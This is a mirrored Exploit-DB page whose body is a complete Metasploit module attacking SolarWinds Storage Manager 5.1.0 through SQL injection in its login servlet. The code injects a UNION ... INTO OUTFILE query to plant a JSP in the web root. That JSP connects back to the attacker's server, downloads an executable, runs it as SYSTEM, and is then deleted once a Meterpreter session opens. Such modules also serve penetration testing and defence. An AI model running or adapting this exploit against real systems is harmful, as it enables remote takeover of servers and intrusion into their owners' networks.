SolarWinds Storage Manager 5.1.0 – SQL Injection (Metasploit)

  • 作者: Metasploit
    日期: 2012-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18833/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    	include Msf::Exploit::Remote::TcpServer
    	include Msf::Exploit::EXE
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Solarwinds Storage Manager 5.1.0 SQL Injection",
    			'Description'=> %q{
    					This module exploits a SQL injection found in Solarwinds Storage Manager
    				login interface.It will send a malicious SQL query to create a JSP file
    				under the web root directory, and then let it download and execute our malicious
    				executable under the context of SYSTEM.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'r@b13$', # Original discovery by Digital Defense VRT
    					'muts', # PoC
    					'sinn3r'# Metasploit
    				],
    			'References' =>
    				[
    					['EDB', '18818'],
    					['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
    					['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00",
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none"
    				},
    			'Platform' => 'win',
    			'Targets'=>
    				[
    					# Win XP / 2003 / Vista / Win 7 / etc
    					['Windows Universal', {}]
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Dec 7 2011",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				OptPort.new('RPORT', [true, 'The target port', 9000])
    			], self.class)
    	end
    
    
    	#
    	# A very gentle check to see if Solarwinds Storage Manage exists or not
    	#
    	def check
    		res = send_request_raw({
    			'method' => 'GET',
    			'uri'=> '/LoginServlet'
    		})
    
    		if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
    		 res.body =~ /\<img style="padding\-top:30px;" src="https://www.exploit-db.com/exploits/18833/\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
    			return Exploit::CheckCode::Detected
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    
    	#
    	# Remove the JSP once we get a shell.
    	# We cannot delete the executable because it will still be in use.
    	#
    	def on_new_session(cli)
    		if cli.type != 'meterpreter'
    			print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
    			return
    		end
    
    		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
    
    		begin
    			jsp = @outpath.gsub(/\//, "\\\\")
    			jsp = jsp.gsub(/"/, "")
    			vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
    			cli.fs.file.rm(jsp)
    			print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
    		rescue ::Exception => e
    			print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
    		end
    	end
    
    
    	#
    	# Transfer the malicious executable to our victim
    	#
    	def on_client_connect(cli)
    		print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
    		cli.put(@native_payload)
    		service.close_client(cli)
    	end
    
    
    	#
    	# Generate a download+exe JSP payload
    	#
    	def generate_jsp_payload
    		my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
    		my_port = datastore['SRVPORT']
    
    		# tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
    		# This will download our malicious executable in base64 format, decode it back,
    		# save it as a temp file, and then finally execute it.
    		jsp = %Q|
    		<%@page import="java.io.*"%>
    		<%@page import="java.net.*"%>
    		<%@page import="sun.misc.BASE64Decoder"%>
    
    		<%
    		StringBuffer buf = new StringBuffer();
    		byte[] shellcode = null;
    		BufferedOutputStream outstream = null;
    		try {
    			Socket s = new Socket("#{my_host}", #{my_port});
    			BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
    			while (buf.length() < #{@native_payload.length}) {
    				buf.append( (char) r.read());
    			}
    
    			BASE64Decoder decoder = new BASE64Decoder();
    			shellcode = decoder.decodeBuffer(buf.toString());
    
    			File temp = File.createTempFile("#{@native_payload_name}", ".exe");
    			String path = temp.getAbsolutePath();
    
    			outstream = new BufferedOutputStream(new FileOutputStream(path));
    			outstream.write(shellcode);
    			outstream.close();
    
    			Process p = Runtime.getRuntime().exec(path);
    		} catch (Exception e) {}
    		%>
    		|
    
    		jsp = jsp.gsub(/\n/, '')
    		jsp = jsp.gsub(/\t/, '')
    
    		jsp.unpack("H*")[0]
    	end
    
    
    	#
    	# Run the actual exploit
    	#
    	def inject_exec
    		# This little lag is meant to ensure the TCP server runs first before the requests
    		select(nil, nil, nil, 1)
    
    		# Inject our JSP payload
    		print_status("#{rhost}:#{rport} - Sending JSP payload")
    		pass = rand_text_alpha(rand(10)+5)
    		hex_jsp= generate_jsp_payload
    
    		res = send_request_cgi({
    			'method'=> 'POST',
    			'uri' => '/LoginServlet',
    			'headers' => {
    				'Accept-Encoding' => 'identity'
    			},
    			'vars_post'=> {
    				'loginState' => 'checkLogin',
    				'password' => pass,
    				'loginName'=> "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
    			}
    		})
    
    		# Pick up the cookie, example:
    		# JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
    		if res and res.headers['Set-Cookie'] =~ /JSESSIONID=(\w+);/
    			cookie = "JSESSIONID=#{$1}"
    		else
    			print_error("Unable to get a session ID")
    			return
    		end
    
    		# Trigger the JSP
    		print_status("#{rhost}:#{rport} - Trigger JSP payload")
    		send_request_cgi({
    			'method'=> 'POST',
    			'uri' => '/LoginServlet',
    			'headers' => {
    				'Cookie' => cookie,
    				'Accept-Encoding' => 'identity'
    			},
    			'vars_post' => {
    				'loginState' => 'checkLogin',
    				'password' => pass,
    				'loginName'=> "1' or 1=1#--"
    			}
    		})
    
    		res = send_request_raw({
    			'method'=> 'POST',
    			'uri' => "/#{@jsp_name + '.jsp'}",
    			'headers' => {
    				'Cookie' => cookie
    			}
    		})
    
    		handler
    	end
    
    
    	#
    	# The server must start first, and then we send the malicious requests
    	#
    	def exploit
    		# Avoid passing this as an argument for performance reasons
    		# This is in base64 is make sure our file isn't mangled
    		@native_payload= [generate_payload_exe].pack("m*")
    		@native_payload_name = rand_text_alpha(rand(6)+3)
    		@jsp_name= rand_text_alpha(rand(6)+3)
    		@outpath = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""
    
    		begin
    			t = framework.threads.spawn("reqs", false) { inject_exec }
    			print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
    			super
    		ensure
    			t.kill
    		end
    	end
    end